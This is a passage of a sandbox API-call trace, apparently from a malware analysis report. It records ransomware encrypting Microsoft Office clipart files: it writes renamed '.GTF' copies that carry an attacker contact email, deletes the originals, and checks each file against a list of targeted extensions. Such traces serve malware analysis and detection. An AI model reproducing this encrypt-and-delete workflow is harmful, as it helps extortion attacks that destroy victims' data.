	[0163.888] SetEndOfFile (hFile=0x544) returned 1
	[0163.888] CloseHandle (hObject=0x544) returned 1
	[0163.888] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.888] SetEndOfFile (hFile=0x534) returned 1
	[0163.891] CloseHandle (hObject=0x534) returned 1
	[0163.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0163.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 1
	[0163.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0163.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0163.892] lstrlenW (lpString=".doc") returned 4
	[0163.892] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0163.892] lstrlenW (lpString=".docx") returned 5
	[0163.892] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0163.892] lstrlenW (lpString=".pdf") returned 4
	[0163.892] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0163.892] lstrlenW (lpString=".xls") returned 4
	[0163.892] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0163.892] lstrlenW (lpString=".xlsx") returned 5
	[0163.892] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0163.892] lstrlenW (lpString=".ppt") returned 4
	[0163.892] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0163.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0163.892] lstrlenW (lpString=".zip") returned 4
	[0163.893] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0163.893] lstrlenW (lpString=".rar") returned 4
	[0163.893] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0163.893] lstrlenW (lpString=".bz2") returned 4
	[0163.893] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0163.893] lstrlenW (lpString=".7z") returned 3
	[0163.893] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0163.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0163.893] lstrlenW (lpString=".dbf") returned 4
	[0163.893] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0163.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0163.893] lstrlenW (lpString=".1cd") returned 4
	[0163.893] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0163.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0163.893] lstrlenW (lpString=".jpg") returned 4
	[0163.893] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0163.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0163.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0163.893] lstrlenW (lpString=".doc") returned 4
	[0163.893] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0163.893] lstrlenW (lpString=".docx") returned 5
	[0163.893] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0163.893] lstrlenW (lpString=".pdf") returned 4
	[0163.893] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0163.893] lstrlenW (lpString=".xls") returned 4
	[0163.893] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0163.893] lstrlenW (lpString=".xlsx") returned 5
	[0163.893] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0163.893] lstrlenW (lpString=".ppt") returned 4
	[0163.893] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0163.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0163.893] lstrlenW (lpString=".zip") returned 4
	[0163.893] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0163.893] lstrlenW (lpString=".rar") returned 4
	[0163.894] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0163.894] lstrlenW (lpString=".bz2") returned 4
	[0163.894] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0163.894] lstrlenW (lpString=".7z") returned 3
	[0163.894] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0163.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0163.894] lstrlenW (lpString=".dbf") returned 4
	[0163.894] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0163.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0163.894] lstrlenW (lpString=".1cd") returned 4
	[0163.894] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0163.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0163.894] lstrlenW (lpString=".jpg") returned 4
	[0163.894] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0163.894] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0163.894] lstrlenW (lpString="GRID_01.MID") returned 11
	[0163.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0164.300] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=6331) returned 1
	[0164.300] CloseHandle (hObject=0x4b4) returned 1
	[0164.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 0x220
	[0164.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0164.301] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.301] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0164.302] GetLastError () returned 0x0
	[0164.302] ReadFile (in: hFile=0x4b4, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x18bb, lpOverlapped=0x0) returned 1
	[0164.306] WriteFile (in: hFile=0x528, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x18c0, lpOverlapped=0x0) returned 1
	[0164.307] ReadFile (in: hFile=0x4b4, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.307] WriteFile (in: hFile=0x528, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xea, lpOverlapped=0x0) returned 1
	[0164.307] SetEndOfFile (hFile=0x528) returned 1
	[0164.307] CloseHandle (hObject=0x528) returned 1
	[0164.307] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.307] SetEndOfFile (hFile=0x4b4) returned 1
	[0164.310] CloseHandle (hObject=0x4b4) returned 1
	[0164.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.310] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 1
	[0164.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0164.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0164.311] lstrlenW (lpString=".doc") returned 4
	[0164.311] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.311] lstrlenW (lpString=".docx") returned 5
	[0164.311] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.311] lstrlenW (lpString=".pdf") returned 4
	[0164.311] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.311] lstrlenW (lpString=".xls") returned 4
	[0164.311] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.311] lstrlenW (lpString=".xlsx") returned 5
	[0164.311] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.311] lstrlenW (lpString=".ppt") returned 4
	[0164.311] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0164.311] lstrlenW (lpString=".zip") returned 4
	[0164.311] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.311] lstrlenW (lpString=".rar") returned 4
	[0164.311] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.311] lstrlenW (lpString=".bz2") returned 4
	[0164.311] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.311] lstrlenW (lpString=".7z") returned 3
	[0164.311] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0164.311] lstrlenW (lpString=".dbf") returned 4
	[0164.311] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0164.311] lstrlenW (lpString=".1cd") returned 4
	[0164.311] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0164.311] lstrlenW (lpString=".jpg") returned 4
	[0164.311] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0164.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0164.312] lstrlenW (lpString=".doc") returned 4
	[0164.312] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.312] lstrlenW (lpString=".docx") returned 5
	[0164.312] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.312] lstrlenW (lpString=".pdf") returned 4
	[0164.312] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.312] lstrlenW (lpString=".xls") returned 4
	[0164.312] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.312] lstrlenW (lpString=".xlsx") returned 5
	[0164.312] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.312] lstrlenW (lpString=".ppt") returned 4
	[0164.312] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0164.312] lstrlenW (lpString=".zip") returned 4
	[0164.312] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.312] lstrlenW (lpString=".rar") returned 4
	[0164.312] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.312] lstrlenW (lpString=".bz2") returned 4
	[0164.312] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.312] lstrlenW (lpString=".7z") returned 3
	[0164.312] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0164.312] lstrlenW (lpString=".dbf") returned 4
	[0164.312] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0164.312] lstrlenW (lpString=".1cd") returned 4
	[0164.312] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0164.312] lstrlenW (lpString=".jpg") returned 4
	[0164.312] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.312] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0164.313] lstrlenW (lpString="PARNT_02.MID") returned 12
	[0164.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0164.314] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5714) returned 1
	[0164.314] CloseHandle (hObject=0x4b4) returned 1
	[0164.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 0x220
	[0164.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0164.314] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.314] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0164.315] GetLastError () returned 0x0
	[0164.315] ReadFile (in: hFile=0x4b4, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x1652, lpOverlapped=0x0) returned 1
	[0164.316] WriteFile (in: hFile=0x528, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1660, lpOverlapped=0x0) returned 1
	[0164.317] ReadFile (in: hFile=0x4b4, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.317] WriteFile (in: hFile=0x528, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.318] SetEndOfFile (hFile=0x528) returned 1
	[0164.318] CloseHandle (hObject=0x528) returned 1
	[0164.318] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.318] SetEndOfFile (hFile=0x4b4) returned 1
	[0164.320] CloseHandle (hObject=0x4b4) returned 1
	[0164.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.321] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 1
	[0164.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0164.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0164.321] lstrlenW (lpString=".doc") returned 4
	[0164.321] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.321] lstrlenW (lpString=".docx") returned 5
	[0164.321] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0164.321] lstrlenW (lpString=".pdf") returned 4
	[0164.321] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.321] lstrlenW (lpString=".xls") returned 4
	[0164.321] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.321] lstrlenW (lpString=".xlsx") returned 5
	[0164.321] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0164.321] lstrlenW (lpString=".ppt") returned 4
	[0164.321] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0164.321] lstrlenW (lpString=".zip") returned 4
	[0164.322] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.322] lstrlenW (lpString=".rar") returned 4
	[0164.322] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.322] lstrlenW (lpString=".bz2") returned 4
	[0164.322] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.322] lstrlenW (lpString=".7z") returned 3
	[0164.322] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0164.322] lstrlenW (lpString=".dbf") returned 4
	[0164.322] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0164.322] lstrlenW (lpString=".1cd") returned 4
	[0164.322] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0164.322] lstrlenW (lpString=".jpg") returned 4
	[0164.322] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0164.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0164.322] lstrlenW (lpString=".doc") returned 4
	[0164.322] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.322] lstrlenW (lpString=".docx") returned 5
	[0164.322] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0164.322] lstrlenW (lpString=".pdf") returned 4
	[0164.322] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.322] lstrlenW (lpString=".xls") returned 4
	[0164.322] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.322] lstrlenW (lpString=".xlsx") returned 5
	[0164.322] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0164.322] lstrlenW (lpString=".ppt") returned 4
	[0164.322] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0164.322] lstrlenW (lpString=".zip") returned 4
	[0164.322] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.322] lstrlenW (lpString=".rar") returned 4
	[0164.322] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.323] lstrlenW (lpString=".bz2") returned 4
	[0164.323] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.323] lstrlenW (lpString=".7z") returned 3
	[0164.323] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0164.323] lstrlenW (lpString=".dbf") returned 4
	[0164.323] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0164.323] lstrlenW (lpString=".1cd") returned 4
	[0164.323] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0164.323] lstrlenW (lpString=".jpg") returned 4
	[0164.323] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.323] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0164.323] lstrlenW (lpString="PARNT_03.MID") returned 12
	[0164.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0164.324] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=8538) returned 1
	[0164.324] CloseHandle (hObject=0x4b4) returned 1
	[0164.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 0x220
	[0164.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0164.324] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.324] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0164.325] GetLastError () returned 0x0
	[0164.325] ReadFile (in: hFile=0x4b4, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x215a, lpOverlapped=0x0) returned 1
	[0164.326] WriteFile (in: hFile=0x528, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2160, lpOverlapped=0x0) returned 1
	[0164.330] ReadFile (in: hFile=0x4b4, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
